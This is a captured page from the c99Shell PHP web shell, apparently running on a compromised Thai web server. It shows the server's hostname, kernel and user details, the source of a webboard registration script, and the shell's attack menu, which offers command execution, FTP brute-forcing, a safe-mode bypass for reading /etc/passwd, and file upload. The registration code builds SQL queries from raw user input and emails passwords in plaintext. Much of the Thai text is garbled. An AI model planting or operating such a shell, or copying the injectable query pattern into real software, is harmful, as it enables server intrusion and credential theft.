110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/webboard/ drwxr-xr-x Free 52.37 GB of 127.8 GB (40.97%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686

uid=48(apache) gid=48(apache) groups=48(apache)

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/webboard/ drwxr-xr-x
Free 52.37 GB of 127.8 GB (40.97%)
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Viewing file: register.php (6.87 KB) -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

<?
	require("config.inc.php");

?>

	<html>
	<head>
	<title><?echo $title?></title>
	<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="./style.css" rel="stylesheet" type="text/css">

	</head>
	<body bgcolor=#FFFFE0 background="pic/bg2.gif">
<?
$BDdate = ("$b_year"."-"."$b_month"."-"."$b_day");
$BDdate = trim(htmlspecialchars($BDdate));
	$User = trim(htmlspecialchars($User));
	$Pass1 = trim(htmlspecialchars($Pass1));
	$Pass2 = trim(htmlspecialchars($Pass2));
	$Email = trim(htmlspecialchars($Email));
	$ICQ = trim(htmlspecialchars($ICQ));
	$WebName = trim(htmlspecialchars($WebName));
	$URL = trim(htmlspecialchars($URL));
    $Profile = trim(htmlspecialchars($Profile));
	$memphoto = trim(htmlspecialchars($memphoto));
	// µГЗЁКНєЗиТГЛСКјиТ№µГ§ЎС№ЛГЧНдБи
	$n_pw1 = strlen($Pass1);
	if($b_day=="0"){echo "<br>";
		echo "<center>";
		echo "<font size=3 face='MS Sans Serif'>";
	echo "гКи ЗС№,аґЧН№,»Х ґйЗВ";
	echo "</font>";
	echo "<br><br>";
	echo "<a href='javascript:history.back(1)'>[ ЎЕСєд»бЎйдў ] </a>";
	echo "</center>";
	exit();
	}elseif($b_month=="0")
	{echo "<br>";
		echo "<center>";	
		echo "<font size=3 face='MS Sans Serif'>";
	echo "гКи аґЧН№,»Х ґйЗВ";
	echo "</font>";
	echo "<br><br>";
	echo "<a href='javascript:history.back(1)'>[ ЎЕСєд»бЎйдў ] </a>";
	echo "</center>";
	exit();
	}elseif($b_year=="0")
	{echo "<br>";
		echo "<center>";
		echo "<br>";
		echo "<font size=3 face='MS Sans Serif'>";
	echo "гКи »Х ґйЗВ";
	echo "</font>";
	echo "<br><br>";
	echo "<a href='javascript:history.back(1)'>[ ЎЕСєд»бЎйдў ] </a>";
	echo "</center>";
	exit();
	}
	if($Pass1!=$Pass2 || $n_pw1<4) {
		echo "<center>";
		echo "<table width=60% border=1 bordercolor=#ff69b4 bgcolor=#f0ffff cellpadding=2 cellspacing=0>";
		echo "<tr><td align=center>";
		echo "<font size=2 face='MS Sans Serif'>";
        echo "<font size=3 color=red><b>ГЛСКјиТ№дБиµГ§ЎС№</b></font><br><br>";
		echo "ЛГЧН№йНВЎЗиТ 4 ЛЕСЎ ЎГШіТµГЗЁКНєгЛй¶ЩЎµйН§ґйЗВ¤ГСє : )";
		echo "</font></td></tr></table>";
		echo "<br><hr width=500 color=blue>";
		echo "<font size=2 face='MS Sans Serif'>";
		echo "[<a href='javascript:history.back(1)'>Back</a>]";
		echo "</center>";
		exit();
	}

	if($action!="edit") {
	// µГЗЁКНєЗиТ user ·ХиГСєБТа¤ВЕ§·РаєХВ№д»ЛГЧНВС§
	mysql_connect($host,$user,$passwd);
	$sql = "select User from webboard_member where User='$User'";
	$result = mysql_db_query($dbname,$sql);
	$NRow = mysql_num_rows($result);



	// ¶йТа¤ВЕ§·РаєХВ№бЕйЗ гЛйбЁй§ўйНјФґѕЕТґ
	if($NRow!=0) {
		echo "<center>";
		echo "<table width=60% border=1 bordercolor=#ff69b4 bgcolor=#f0ffff cellpadding=2 cellspacing=0>";
		echo "<tr><td align=center>";
		echo "<font size=2 face='MS Sans Serif'>";
        echo "<font size=3 color=red><b>Username [$User] дґй¶ЩЎгЄйд»бЕйЗ</b></font><br><br>";
		echo "ЎГШіТа»ЕХиВ№ Username ґйЗВ¤ГСє";
		echo "</font></td></tr></table>";
		echo "<br><hr width=500 color=blue>";
		echo "<font size=2 face='MS Sans Serif'>";
		echo "[<a href='javascript:history.back(1)'>Back</a>]";
		echo "</center>";
		exit();
	}
	mysql_close(); 
	}

	// »йН§ЎС№ЎТГб·ГЎ html ЎСє ЕРа¤ГЧиН§ЛБТВ ' "
	$User = htmlspecialchars($User);
	$Password = htmlspecialchars($Pass1);
	$Email = htmlspecialchars($Email);
	$ICQ = htmlspecialchars($ICQ);
	$WebName = htmlspecialchars($WebName);
	$URL = htmlspecialchars($URL);
$Profile = htmlspecialchars($Profile);
$memphoto = htmlspecialchars($memphoto);
$BDdate = htmlspecialchars($BDdate);
	// »ГСєаЗЕТгЛйµГ§ЎСєаЗЕТаБЧН§д·В ЎГіХ·Хи server НВЩи·ХиаБЧН§№НЎ
	$mdate = date("Y-m-d H:i:s");

mysql_connect($host,$user,$passwd);
$sql = "select * from webboard_member where memphoto='$memphoto'";
$result = mysql_db_query($dbname,$sql);
	$NRow = mysql_num_rows($result);



#µСґК¤Фй» html бЕРµСґ http://
		$User = htmlspecialchars( $User );
		$Profile = htmlspecialchars( $Profile );
		$Profile = nl2br( $Profile );


	if($action=="edit") {
		$sql = "update webboard_member set Password='$Password' , Email='$Email' , ICQ='$ICQ' , WebName='$WebName' , URL='$URL',Profile='$Profile' ,icon='$b_icon' where User='$User'";
	

	}
	else {
		$sql = "insert into webboard_member (User,Password,Email,ICQ,WebName,URL,Date,BDdate,Profile,icon) values ('$User','$Password','$Email','$ICQ','$WebName','$URL','$mdate','$BDdate','$Profile','$b_icon')";
		
	}
	$result = mysql_db_query($dbname,$sql);

	if($result==0) {
		echo "<center>";
		echo "<table width=60% border=1 bordercolor=#ff69b4 bgcolor=#f0ffff cellpadding=2 cellspacing=0>";
		echo "<tr><td align=center>";
		echo "<font size=2 face='MS Sans Serif'>";
        echo "<font size=3 color=red><b>БХўйНјФґѕЕТґ·ХиГРєє</b></font><br><br>";
		echo "ЎГШіТбЁй§ admin гЛйµГЗЁКНєґйЗВ¤ГСє";
		echo "</font></td></tr></table>";
		echo "<br><hr width=500 color=blue>";
		echo "<font size=2 face='MS Sans Serif'>";
		echo "[<a href='javascript:history.back(1)'>Back</a>]";
		echo "</center>";
		exit();
	}
	mysql_close(); 

	if($action=="edit") {
		echo "<center>";
		echo "<table width=60% border=1 bordercolor=#ff69b4 bgcolor=#f0ffff cellpadding=2 cellspacing=0>";
		echo "<tr><td align=center>";
		echo "<font size=2 face='MS Sans Serif'>";
		echo "<font size=3 color=red><b>дґйбЎйдўўйНБЩЕўН§ $User </b></font><br><br>";
		echo "бЕРєС№·ЦЎЕ§г№°Т№ўйНБЩЕбЕйЗ<br>";
		echo "бЕРдґйКи§ user:passwd д»ВС§ email ўН§·иТ№бЕйЗ";
		echo "</font></td></tr></table>";
		echo "<br><hr width=500 color=blue>";
		echo "<font size=2 face='MS Sans Serif'>";
		
	}
	else {
		echo "<center>";
		echo "<table width=60% border=1 bordercolor=#ff69b4 bgcolor=#f0ffff cellpadding=2 cellspacing=0>";
		echo "<tr><td align=center>";
		echo "<font size=2 face='MS Sans Serif'>";
		echo "<font size=3 color=red><b>дґйаѕФиБўйНБЩЕўН§ $User </b></font><br><br>";
		echo "Е§г№°Т№ўйНБЩЕбЕйЗ<br>";
		echo "бЕРдґйКи§ user:passwd д»ВС§ email ўН§·иТ№бЕйЗ";
		echo "</font></td></tr></table>";
		echo "<br><hr width=500 color=blue>";
		echo "<font size=2 face='MS Sans Serif'>";
		echo "$BDdate";
		
	}
	//Ки§аБЕмєНЎГЛСКјиТ№
		$subject ="Username бЕР Password ўН§¤ШіКУЛГСєгЄйг№аЗзєєНГмґ ";
		$msg  = "ўНўНє¤Ші ¤Ші $User\n";
		$msg  .= "·ХиКБС¤ГКБТЄФЎаЗзєєНГмґ\n";
		$msg  .= "бЕРЛЗС§ЗиТ¤§дґйГСє¤ЗТБаНЧйНаїЧйН г№вНЎТКНЧи№жµиНд»..\n\n";

		$msg  .= "==================================================\n";
		$msg  .= "¤ШіКТБТГ¶гЄй Username бЕР Passwoed №Хйг№аЗзєєНГмґ \n";
		$msg .= "бЕРКТБТГ¶бЎйдўўйНБЩЕдґйµЕНґаЗЕТ\n\n";
		
		$msg .= "Username ::  $User \n";
		$msg .= "Password ::  $Password \n\n";
		$msg  .= "==================================================\n\n";

		$msg  .= "Webmaster\n";
		$from = "From: $Email\nReply-To: $webmasterEmail\nReturn-Path: $webmasterEmail";
		mail(strtolower($Email) , $subject , $msg , $from);
?>
	<br>
<font size=2 face="MS Sans Serif"> [<a href="../webboard/webboard.php?Category=<? echo $Category; ?>&page=<? echo $page; ?>">д»Л№йТаЗзєєНГмґ</a>] 
</font>

:: Command execute ::
Enter:	Select:

:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:

:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

:: Go Dir ::

:: Go File ::

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0053 ]--